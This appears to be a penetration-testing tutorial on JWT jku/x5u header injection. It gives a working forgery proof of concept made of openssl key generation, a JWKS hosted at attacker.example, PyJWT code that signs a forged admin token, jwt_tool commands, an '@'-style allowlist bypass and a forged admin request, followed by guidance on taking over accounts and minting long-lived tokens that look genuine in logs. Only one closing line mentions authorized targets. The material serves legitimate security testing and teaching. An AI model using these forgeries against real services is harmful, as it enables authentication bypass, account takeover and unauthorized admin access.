JWT JKU and x5u Injection: Pointing Key Discovery at Your Server
When a JWT verifier fetches its signing key from a URL in the token header, controlling jku or x5u lets an attacker supply their own key and forge tokens. We cover detection and a working forgery PoC.
Some JWT verifiers locate the signing key dynamically from a URL carried in the token's own header — jku (JWK Set URL) or x5u (X.509 cert URL). If the verifier trusts that URL without restriction, you point it at a key you generated, sign a forged token with the matching private key, and the verifier fetches your public key and validates your signature. The token's header tells the verifier which key to trust, and you control the header.
Where it hides
This affects services that resolve keys at verification time rather than from a pinned, static key. Capture a token and decode its header:
echo "eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vYXBwLmV4YW1wbGUuY29tL2p3a3MuanNvbiIsImtpZCI6IjEifQ" \
| base64 -d
# {"alg":"RS256","jku":"https://app.example.com/jwks.json","kid":"1"}
The tells that this attack is in play:
- An
algofRS256/ES256(asymmetric — verification uses a fetched public key). - A
jkuorx5uheader naming a URL the server fetches. - A
kidthat indexes into a key set, hinting at dynamic resolution even when nojkuis present.
The core question: will the verifier fetch a key from an attacker-controlled jku/x5u, or only from an allowlisted host? Probe by setting jku to a URL you control and watching your server for the fetch:
# Forge a token with jku pointing at your listener, send it, watch for a GET on /jwks.json
jwt_tool eyJ...token... -X s -ju https://attacker.example/jwks.json
A request landing on attacker.example/jwks.json during verification proves the verifier follows the header URL. jwt_tool automates the jku/x5u forgery flows end to end.
Reproducing it
Generate your own key pair, host a JWK Set containing the public key at a URL you control, forge a token whose header jku points there and whose body escalates privilege, and sign it with your private key.
Step 1 — make a key pair and a JWKS:
openssl genrsa -out priv.pem 2048
openssl rsa -in priv.pem -pubout -out pub.pem
# Convert pub.pem to a JWK and serve it as jwks.json with a matching "kid"
Step 2 — host the JWKS at https://attacker.example/jwks.json:
{"keys":[{"kty":"RSA","kid":"1","use":"sig","alg":"RS256",
"n":"<modulus-from-pub.pem>","e":"AQAB"}]}
Step 3 — forge and sign the token, pointing jku at your JWKS:
import jwt # PyJWT
priv = open("priv.pem").read()
tok = jwt.encode(
{"sub": "1", "role": "admin"}, priv, algorithm="RS256",
headers={"jku": "https://attacker.example/jwks.json", "kid": "1"},
)
print(tok)
Send it to a protected endpoint. The verifier reads jku, fetches your JWKS, finds the key whose kid matches, and validates the signature you made with the paired private key — so your forged role: admin token is accepted:
GET /api/admin/users HTTP/1.1
Host: app.example.com
Authorization: Bearer eyJ...forged...
A 200 (where your normal token gets 403) is the proof.
When the verifier allowlists the jku host but matches it loosely, bypass it the same way as any URL allowlist — host the JWKS on a path under the trusted domain via an open redirect or path trick, or use jku: https://app.example.com@attacker.example/jwks.json. For x5u, the equivalent is hosting a self-signed certificate whose key you control and pointing x5u at it:
jwt_tool eyJ...token... -X i -kf attacker.crt # x5c/x5u self-signed injection
Going further
A working forgery is full authentication bypass — you mint tokens for any user and any role:
- Set
sub/user_idto a victim and read their data (horizontal takeover). - Flip
role/scope/is_adminto reach administrative functions (vertical). - Forge long-lived tokens with extended
exp, valid until they expire and indistinguishable from real ones in logs.
A practical recon habit is, for every asymmetric JWT, to forge a copy with jku (then x5u, then a self-signed x5c) pointing at your listener and watch for the key fetch — the callback alone tells you the header is trusted. Capture the decoded original header, the hosted JWKS/cert, the forged token, and the denied-then-allowed request pair. Test only with tokens issued to you on authorized targets.